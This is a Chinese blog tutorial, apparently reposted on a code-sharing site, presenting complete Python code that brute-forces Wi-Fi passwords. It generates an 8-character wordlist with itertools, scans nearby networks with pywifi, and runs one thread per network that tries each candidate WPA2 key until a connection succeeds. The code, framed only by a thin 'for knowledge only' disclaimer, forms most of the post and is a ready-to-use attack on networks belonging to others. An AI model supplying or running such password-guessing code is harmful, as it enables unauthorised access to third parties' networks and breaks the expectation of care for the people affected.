Python利用多线程枚举实现获取wifi信息

作者:Sir?老王 时间:2021-12-05 03:58:12 

由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。

通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用。

开始之前需要先将需要的python非标准模块安装一下,若已安装请忽略。

pip install pywifi -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install comtypes -i https://pypi.tuna.tsinghua.edu.cn/simple

然后使用python内置的模块itertools生成后面需要的密码字典。

# Itertools is a module that provides a number of functions that work with iterators to produce complex iterators.
import itertools as its

# Importing the threading module.
import threading

# It's a logging library.
from loguru import logger

初始化字典项包含的正常字符以及特殊字符。

text = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"

提取随机组合长度为8位的字符串,因为一般密码长度为8位,可根据实际情况设置提取位数。

result_ = its.product(text, repeat=8)

dic = open("pwd.txt","a")

for i in result_:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

这个时候字典已经生成好了,我们需要使用wifi网卡对信号范围内的wifi进行扫描。

# *|CURSOR_MARCADOR|*
from pywifi import const, PyWiFi, Profile

# It's just an alias for the time module.
from time import sleep
wifi = PyWiFi()
interface = wifi.interfaces()[0]

interface.scan()
sleep(3)
wifis = interface.scan_results()

print(wifis)

经过网卡的scan函数扫描,如今信号范围内的wifi名称信息也都获取完成了。

为了方便后面使用多线程进行枚举字典的遍历,这里我们编写一个函数connect_wifi函数用来连接wifi。

def connect_wifi(wifi_name=None, wifi_pass_path=None, interface=None):
    with open(wifi_pass_path, 'r') as file_pwd:
        for pd in file_pwd:
            pd = pd.strip('\n')
            if interface.status() == const.IFACE_CONNECTED:
                interface.disconnect()
                sleep(2)

            profile = Profile()  # 配置文件
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN  # 需要密码
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = pd

            interface.remove_all_network_profiles()  # 删除其它配置文件
            tmp_profile = interface.add_network_profile(profile)  # 加载配置文件
            interface.connect(tmp_profile)

            sleep(3)

            if interface.status() == const.IFACE_CONNECTED:
                logger.info('连接成功,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))
                break
            else:
                logger.error('连接失败,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))

上面单个wifi连接的函数完成之后,为了提升效率我们使用一个线程获取一个wifi的连接方式获取wifi名称和密码。

for w in wifis:
    t = threading.Thread(target=connect_wifi, args=(w.ssid, 'pwd.txt', interface))
    t.start()

来源:https://mp.weixin.qq.com/s/ZfDjnyFN-PdoZ3gQ9yr8Fg

标签:Python,wifi,信息
0
投稿

猜你喜欢

  • python儿童学游戏编程知识点总结

    2022-10-23 04:32:42
  • python中类变量与成员变量的使用注意点总结

    2022-01-08 03:39:51
  • python 数据提取及拆分的实现代码

    2023-11-13 09:13:12
  • 关于设计品质保证(DQA)的几点想法

    2007-11-16 16:55:00
  • laravel中短信发送验证码的实现方法

    2023-11-15 08:05:16
  • Python基于正则表达式实现文件内容替换的方法

    2023-08-23 00:14:09
  • Python创建xml文件示例

    2023-03-08 22:41:45
  • Win10环境中如何实现python2和python3并存

    2023-10-18 02:58:34
  • Python内建类型str源码学习

    2021-12-24 22:24:33
  • Mac在python3环境下安装virtualwrapper遇到的问题及解决方法

    2021-06-22 17:32:38
  • django+celery+RabbitMQ自定义多个消息队列的实现

    2021-01-21 16:52:10
  • php header功能的使用

    2023-11-15 09:25:26
  • 带你轻松了解 SQL Server数据库的组成

    2009-02-05 15:53:00
  • OL IE Bug

    2009-09-09 16:25:00
  • PHP简单实现正则匹配省市区的方法

    2023-11-14 22:24:09
  • python爬取天气数据的实例详解

    2022-08-26 22:28:46
  • Mootools 1.2教程(11)——Fx.Morph、Fx选项和Fx事件

    2008-12-04 16:03:00
  • Python3多线程基础知识点

    2022-03-05 13:05:44
  • 个人网站与动网整合非官方方法

    2009-07-05 18:42:00
  • Python运行DLL文件的方法

    2021-12-25 15:23:21
  • asp之家 网络编程 m.aspxhome.com